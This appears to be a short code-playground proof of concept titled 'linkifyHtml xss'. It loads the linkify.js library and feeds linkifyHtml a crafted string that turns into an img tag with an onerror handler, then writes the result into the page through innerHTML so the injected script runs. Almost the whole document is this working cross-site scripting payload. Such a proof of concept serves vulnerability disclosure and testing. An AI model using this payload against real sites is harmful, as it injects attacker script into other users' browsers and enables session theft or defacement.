linkifyHtml xss

by secator

HTML

<script src="https://secator.com/linkifyjs/linkify.js"></script>
<script src="https://secator.com/linkifyjs/linkify-html.js"></script>
<body>

</body>

JavaScript

var html = linkifyHtml('< 123; `~ img/src/onerror=alert()');
document.body.innerHTML = html;
document.body.innerText = html;